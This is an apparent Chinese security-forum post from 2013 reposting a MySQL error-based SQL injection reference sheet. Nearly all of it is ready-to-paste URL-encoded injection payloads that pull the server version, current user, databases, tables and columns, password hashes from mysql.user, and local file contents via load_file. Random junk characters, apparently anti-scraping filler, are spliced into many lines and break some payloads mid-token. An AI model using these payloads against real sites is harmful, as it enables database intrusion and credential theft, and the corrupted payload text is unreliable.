找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2630|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 : C7 S/ d5 ]8 {; ]9 H2 q( g& Y3 I
8 U: H5 _* y' X& ~

) l. }! d3 i; ]% f: R% Z1 \Mysql暴错注入参考(pdf),每天一贴。。。/ G; \9 u4 _. L7 @
* M. |3 I2 K- k6 y0 l
MySql Error Based Injection Reference/ c8 \% }1 H3 w- M2 I
[Mysql暴错注入参考]7 N( _$ u0 o$ a0 A  r0 w
Authornig0s1992
; @) q5 f% z" W4 S1 ?1 zBlog:http://pnig0s1992.blog.51cto.com/5 d/ y# ~( ]+ ^" R" O
TeAm:http://www.FreeBuf.com/
% ]1 G6 \. f$ _0 WMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功, q, S8 k1 [1 o8 q
小部分版本使用name_const()时会报错.可以用给出的Method.2测试$ o5 v& P. l- V& \5 o& \' a
查询版本:
( P: |6 u* y, B/ R: G, O. z) gMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
7 X% v, y0 Y, v  S, d8 Z$ Ujoin+(select+name_const(@@version,0))b)c)
7 d- N! N: X0 S0 L) ^Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro$ }" A0 y1 N2 b  G+ A9 p
up by a)b)
$ H/ h1 q: V' j查询当前用户:. ~3 S7 j* J, x1 x' z( {; i
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)5 W9 X( F) O  O+ l5 D6 ^0 U" H
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r- V) F5 Q# r, @( L4 P, l
and(0)*2))x+from+information_schema.tables+group+by+x)a)
  A( Y6 ~7 A/ X4 H+ \! ?6 n查询当前数据库:* g0 A5 Y4 y% L3 W) J- W
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
+ j1 }0 Q. Y- HMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
" S) F- a; [, eor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)$ h8 K+ Z9 _1 \, M7 L# j
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+" ?- h! w6 \* L( i  f+ A7 C
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n8 y& B  w5 B$ X
顺序替换2 L( Y( A! Y( f9 X- E3 O; F
爆指定库数目:
7 v% e( h- _# {7 q% qand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t6 m2 a( ~( E; G" x* Z& E/ `+ P
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group& }- I5 n* L: H/ e# M
+by+x)a)+and+1=1 0x6D7973716C=mysql
" C% I% p& ]  Y# n" I依次爆表:2 V/ K0 d( F, w* T* H' A
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
( |- C: g: |% Q. e8 A- C' I, v% n" a4 pable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta+ M% i& S# z' T/ E0 K
bles+group+by+x)a)+and+1=1
: ~7 L$ f$ a$ ~# Z0x6D7973716C=Mysql 将n顺序替换8 `7 R0 e8 w; o/ U; k% ?/ I% y
爆表内字段数目:, L$ _. H/ {) J, H( I
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
& I" M3 J8 u8 s0 l; e: r" B+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
' z+ c) X7 M3 I4 W0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=10 ^% }- B7 V& E
依次爆字段:
" s0 T+ \: h1 q' s& Tand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where: Q9 Q0 ^8 K5 f- S6 A  g
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
, [. R: e' c1 Yloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
6 g# ^9 [8 u. D5 ]% K2 A依次暴内容:0 S* R: N1 G; p1 P+ @- c4 b
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche+ D0 F  r2 B8 @. q: ?; k; o6 S4 U/ `
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1. O& ?$ F! U3 P
将n顺序替换0 E, p! ^& O: B8 N3 R0 r( Q2 |; `
爆文件内容:
! X+ D0 o9 ~2 t( b0 Uand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a" O+ Y1 T6 C( u
from+information_schema.tables+group+by+a)b)
; W# U, {2 {" N: K4 n) w/ A8 P' U0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
- y- f1 w. D' iThx for reading.6 ?$ P. |* ]$ f) l6 g: O8 J

( H6 }: O' B$ q不要下载也可以,
1 o& E1 s/ k* I& h. U! P* z& q

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表